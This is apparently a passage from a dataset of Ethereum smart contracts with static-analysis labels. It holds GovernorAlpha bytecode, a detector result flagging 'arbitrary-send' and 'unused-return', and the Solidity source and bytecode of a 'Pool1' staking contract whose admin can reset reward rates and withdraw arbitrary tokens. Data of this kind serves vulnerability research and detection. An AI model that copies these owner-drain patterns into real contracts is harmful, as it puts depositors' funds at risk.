7565b9550506060612f6d8a828b01612cfa565b9450506080612f7e8a828b01612cfa565b93505060a0612f8f8a828b01612cfa565b92505060c0612fa08a828b01612cfa565b91505092959891949750929550565b600060208284031215612fc157600080fd5b6000612fcf84828501612cfa565b91505092915050565b600060208284031215612fea57600080fd5b6000612ff884828501612d0f565b91505092915050565b6000806040838503121561301457600080fd5b600061302285828601612cfa565b9250506020613033858286016129a7565b9150509250929050565b6000806040838503121561305057600080fd5b600061305e85828601612cfa565b925050602061306f85828601612baa565b9150509250929050565b600080600080600060a0868803121561309157600080fd5b600061309f88828901612cfa565b95505060206130b088828901612baa565b94505060406130c188828901612d24565b93505060606130d288828901612bd4565b92505060806130e388828901612bd4565b9150509295509295909350565b60006020828403121561310257600080fd5b600061311084828501612d39565b91505092915050565b60006131258383613180565b60208301905092915050565b600061313d8383613388565b905092915050565b60006131518383613544565b905092915050565b60006131658383613f7d565b60208301905092915050565b61317a81614a67565b82525050565b613189816149dd565b82525050565b613198816149dd565b82525050565b60006131a9826148c9565b6131b3818561493f565b93506131be8361484a565b8060005b838110156131ef5781516131d68882613119565b97506131e18361490b565b9250506001810190506131c2565b5085935050505092915050565b6000613207826148d4565b6132118185614950565b9350836020820285016132238561485a565b8060005b8581101561325f57848403895281516132408582613131565b945061324b83614918565b925060208a01995050600181019050613227565b50829750879550505050505092915050565b600061327c826148df565b6132868185614961565b9350836020820285016132988561486a565b8060005b858110156132d457848403895281516132b58582613145565b94506132c083614925565b925060208a0199505060018101905061329c565b50829750879550505050505092915050565b60006132f1826148ea565b6132fb8185614972565b93506133068361487a565b8060005b8381101561333757815161331e8882613159565b975061332983614932565b92505060018101905061330a565b5085935050505092915050565b61334d816149ef565b82525050565b61335c816149ef565b82525050565b61336b816149fb565b82525050565b61338261337d826149fb565b614b4b565b82525050565b6000613393826148f5565b61339d8185614983565b93506133ad818560208601614b18565b6133b681614b55565b840191505092915050565b60006133cc826148f5565b6133d68185614994565b93506133e6818560208601614b18565b6133ef81614b55565b840191505092915050565b600081546001811660008114613417576001811461343c57613480565b607f600283041661342881876149a5565b955060ff1983168652808601935050613480565b6002820461344a81876149a5565b95506134558561489f565b60005b8281101561347757815481890152600182019150602081019050613458565b82880195505050505b505092915050565b6000815460018116600081146134a557600181146134cb5761350f565b607f60028304166134b68187614994565b955060ff19831686526020860193505061350f565b600282046134d98187614994565b95506134e48561488a565b60005b82811015613506578154818901526001820191506020810190506134e7565b80880195505050505b505092915050565b61352081614a79565b82525050565b61352f81614a9d565b82525050565b61353e81614ac1565b82525050565b600061354f82614900565b61355981856149b0565b9350613569818560208601614b18565b61357281614b55565b840191505092915050565b600061358882614900565b61359281856149c1565b93506135a2818560208601614b18565b6135ab81614b55565b840191505092915050565b6000815460018116600081146135d357600181146135f95761363d565b607f60028304166135e481876149c1565b955060ff19831686526020860193505061363d565b6002820461360781876149c1565b9550613612856148b4565b60005b8281101561363457815481890152600182019150602081019050613615565b80880195505050505b505092915050565b60006136526044836149c1565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006136de6045836149c1565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b600061376a6002836149d2565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006137aa6029836149c1565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b6000613810602d836149c1565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b60006138766059836149c1565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b60006139026028836149c1565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b60006139686011836149c1565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b60006139a86043836149d2565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000613a346027836149d2565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b6000613a9a6044836149c1565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613b26602f836149c1565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b6000613b8c6044836149c1565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613c18602e836149c1565b91507f436f6e747261637420696e7374616e63652068617320616c726561647920626560008301527f656e20696e697469616c697a65640000000000000000000000000000000000006020830152604082019050919050565b6000613c7e602c836149c1565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b6000613ce4603f836149c1565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b6000613d4a602f836149c1565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b6000613db06058836149c1565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b6000613e3c6036836149c1565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000613ea2602a836149c1565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b6000613f086015836149c1565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b606082016000820151613f516000850182613344565b506020820151613f646020850182613344565b506040820151613f776040850182613fb9565b50505050565b613f8681614a38565b82525050565b613f9581614a38565b82525050565b613fa481614a42565b82525050565b613fb381614af7565b82525050565b613fc281614a4f565b82525050565b6000613fd482846133fa565b915081905092915050565b6000613fea8261375d565b9150613ff68285613371565b6020820191506140068284613371565b6020820191508190509392505050565b60006140218261399b565b9150819050919050565b600061403682613a27565b9150819050919050565b60006040820190506140556000830185613171565b6140626020830184613f8c565b9392505050565b600060408201905061407e600083018561318f565b61408b6020830184613f8c565b9392505050565b60006080820190506140a7600083018761318f565b6140b46020830186613f8c565b6140c16040830185613353565b6140ce6060830184613faa565b95945050505050565b600060a0820190506140ec600083018861318f565b6140f96020830187613f8c565b818103604083015261410b818661357d565b9050818103606083015261411f81856133c1565b905061412e6080830184613f8c565b9695505050505050565b600060a08201905061414d600083018861318f565b61415a6020830187613f8c565b818103604083015261416c81866135b6565b905081810360608301526141808185613488565b905061418f6080830184613f8c565b9695505050505050565b600060808201905081810360008301526141b3818761319e565b905081810360208301526141c781866132e6565b905081810360408301526141db8185613271565b905081810360608301526141ef81846131fc565b905095945050505050565b600060208201905061420f6000830184613362565b92915050565b600060808201905061422a6000830187613362565b6142376020830186613362565b6142446040830185613f8c565b614251606083018461318f565b95945050505050565b600060608201905061426f6000830186613362565b61427c6020830185613f8c565b6142896040830184613353565b949350505050565b60006080820190506142a66000830187613362565b6142b36020830186613f9b565b6142c06040830185613362565b6142cd6060830184613362565b95945050505050565b60006020820190506142eb6000830184613517565b92915050565b60006020820190506143066000830184613526565b92915050565b60006020820190506143216000830184613535565b92915050565b60006020820190508181036000830152614341818461357d565b905092915050565b6000602082019050818103600083015261436281613645565b9050919050565b60006020820190508181036000830152614382816136d1565b9050919050565b600060208201905081810360008301526143a28161379d565b9050919050565b600060208201905081810360008301526143c281613803565b9050919050565b600060208201905081810360008301526143e281613869565b9050919050565b60006020820190508181036000830152614402816138f5565b9050919050565b600060208201905081810360008301526144228161395b565b9050919050565b6000602082019050818103600083015261444281613a8d565b9050919050565b6000602082019050818103600083015261446281613b19565b9050919050565b6000602082019050818103600083015261448281613b7f565b9050919050565b600060208201905081810360008301526144a281613c0b565b9050919050565b600060208201905081810360008301526144c281613c71565b9050919050565b600060208201905081810360008301526144e281613cd7565b9050919050565b6000602082019050818103600083015261450281613d3d565b9050919050565b6000602082019050818103600083015261452281613da3565b9050919050565b6000602082019050818103600083015261454281613e2f565b9050919050565b6000602082019050818103600083015261456281613e95565b9050919050565b6000602082019050818103600083015261458281613efb565b9050919050565b600060608201905061459e6000830184613f3b565b92915050565b60006020820190506145b96000830184613f8c565b92915050565b6000610120820190506145d5600083018c613f8c565b6145e2602083018b613171565b81810360408301526145f4818a61319e565b9050818103606083015261460881896132e6565b9050818103608083015261461c8188613271565b905081810360a083015261463081876131fc565b905061463f60c0830186613f8c565b61464c60e0830185613f8c565b81810361010083015261465f818461357d565b90509a9950505050505050505050565b600061012082019050614685600083018c613f8c565b614692602083018b61318f565b61469f604083018a613f8c565b6146ac6060830189613f8c565b6146b96080830188613f8c565b6146c660a0830187613f8c565b6146d360c0830186613f8c565b6146e060e0830185613353565b6146ee610100830184613353565b9a9950505050505050505050565b60006040820190506147116000830185613f8c565b61471e6020830184613f8c565b9392505050565b6000604051905081810181811067ffffffffffffffff8211171561474857600080fd5b8060405250919050565b600067ffffffffffffffff82111561476957600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561479157600080fd5b602082029050602081019050919050565b600067ffffffffffffffff8211156147b957600080fd5b602082029050602081019050919050565b600067ffffffffffffffff8211156147e157600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561480957600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561483557600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006149e882614a18565b9050919050565b60008115159050919050565b6000819050919050565b6000819050614a1382614b66565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000614a7282614ad3565b9050919050565b6000614a8482614a8b565b9050919050565b6000614a9682614a18565b9050919050565b6000614aa882614aaf565b9050919050565b6000614aba82614a18565b9050919050565b6000614acc82614a05565b9050919050565b6000614ade82614ae5565b9050919050565b6000614af082614a18565b9050919050565b6000614b0282614a4f565b9050919050565b82818337600083830152505050565b60005b83811015614b36578082015181840152602081019050614b1b565b83811115614b45576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b60088110614b7057fe5b50565b614b7c816149dd565b8114614b8757600080fd5b50565b614b93816149ef565b8114614b9e57600080fd5b50565b614baa816149fb565b8114614bb557600080fd5b50565b614bc181614a38565b8114614bcc57600080fd5b50565b614bd881614a42565b8114614be357600080fd5b50565b614bef81614a4f565b8114614bfa57600080fd5b5056fea264697066735822122003179bf217c0651ffba1e54438310ce37b66812a64d3620251ac6e05b83def7b64736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,263
0x689c7c633244529d096900c7b27dda799195edda
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Pool1 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfilend token contract address address public tokenAddress; // reward rate % per year uint public rewardRate = 5500; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0), "Invalid address format is not supported"); tokenAddress = _tokenAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0), "Interracting token address is not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636654ffdf116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b1461042a578063f3073ee714610450578063f3f91fa01461046f578063f851a44014610495576101c4565b8063d578ceab14610412578063d816c7d51461041a578063f1587ea114610422576101c4565b80639d76ea58116100d35780639d76ea58146103a3578063bec4de3f146103c7578063c0a6d78b146103cf578063c326bf4f146103ec576101c4565b80636654ffdf1461035d5780636a395ccb146103655780637b0a47ee1461039b576101c4565b8063455ab53c11610166578063538a85a111610140578063538a85a1146102ec578063583d42fd146103095780635ef057be1461032f5780636270cd1814610337576101c4565b8063455ab53c146102bf5780634641257d146102c75780634908e386146102cf576101c4565b80631e94723f116101a25780631e94723f1461023f578063308feec31461027757806337c5785a1461027f57806338443177146102a2576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631c885bae14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b61023d6004803603602081101561023657600080fd5b503561053f565b005b6102656004803603602081101561025557600080fd5b50356001600160a01b031661084a565b60408051918252519081900360200190f35b6102656108fd565b6101e66004803603604081101561029557600080fd5b508035906020013561090f565b6101e6600480360360208110156102b857600080fd5b5035610933565b6101e6610954565b61023d61095d565b6101e6600480360360208110156102e557600080fd5b5035610968565b61023d6004803603602081101561030257600080fd5b5035610989565b6102656004803603602081101561031f57600080fd5b50356001600160a01b0316610c7e565b610265610c90565b6102656004803603602081101561034d57600080fd5b50356001600160a01b0316610c96565b610265610ca8565b61023d6004803603606081101561037b57600080fd5b506001600160a01b03813581169160208101359091169060400135610cae565b610265610d88565b6103ab610d8e565b604080516001600160a01b039092168252519081900360200190f35b610265610d9d565b6101e6600480360360208110156103e557600080fd5b5035610da3565b6102656004803603602081101561040257600080fd5b50356001600160a01b0316610dc4565b610265610dd6565b610265610ddc565b610265610de2565b61023d6004803603602081101561044057600080fd5b50356001600160a01b0316610e16565b6101e66004803603602081101561046657600080fd5b50351515610e9b565b6102656004803603602081101561048557600080fd5b50356001600160a01b0316610f0f565b6103ab610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d86027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b336000908152600c60205260409020548111156105a3576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d60205260409020546105c1904290610f30565b116105fd5760405162461bcd60e51b815260040180806020018281038252603b81526020018061129d603b913960400191505060405180910390fd5b61060633610f47565b6000610629612710610623600554856110db90919063ffffffff16565b90611102565b905060006106378383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b505050506040513d60208110156106bd57600080fd5b5051610710576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b50516107e1576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c60205260409020546107fb9084610f30565b336000818152600c602052604090209190915561081a90600a90611117565b80156108335750336000908152600c6020526040902054155b1561084557610843600a3361112c565b505b505050565b6000610857600a83611117565b610863575060006108f8565b6001600160a01b0382166000908152600c6020526040902054610888575060006108f8565b6001600160a01b0382166000908152600e60205260408120546108ac904290610f30565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926108f291612710916106239190829088906108ec9089906110db565b906110db565b93505050505b919050565b6000610909600a611141565b90505b90565b600080546001600160a01b0316331461092757600080fd5b60049290925560055590565b600080546001600160a01b0316331461094b57600080fd5b60089190915590565b60095460ff1681565b61096633610f47565b565b600080546001600160a01b0316331461098057600080fd5b60029190915590565b60095460ff1615156001146109e5576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a3a576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a9457600080fd5b505af1158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b5051610b11576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610b1a33610f47565b6000610b37612710610623600454856110db90919063ffffffff16565b90506000610b458383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506040513d6020811015610bcb57600080fd5b5051610c1e576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610c38908261114c565b336000818152600c6020526040902091909155610c5790600a90611117565b61084557610c66600a3361115b565b50336000908152600d60205260409020429055505050565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b03163314610cc557600080fd5b6001546001600160a01b0384811691161415610d0057610ce3610de2565b811115610cef57600080fd5b600754610cfc908261114c565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d6020811015610d8157600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b03163314610dbb57600080fd5b60069190915590565b600c6020526000908152604090205481565b60075481565b60055481565b600060085460075410610df75750600061090c565b6000610e10600754600854610f3090919063ffffffff16565b91505090565b6000546001600160a01b03163314610e2d57600080fd5b6001600160a01b038116610e4057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610eb357600080fd5b6001546001600160a01b0316610efa5760405162461bcd60e51b81526004018080602001828103825260308152602001806112ff6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6000546001600160a01b031681565b600082821115610f3c57fe5b508082035b92915050565b6000610f528261084a565b905080156110be576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610fb057600080fd5b505af1158015610fc4573d6000803e3d6000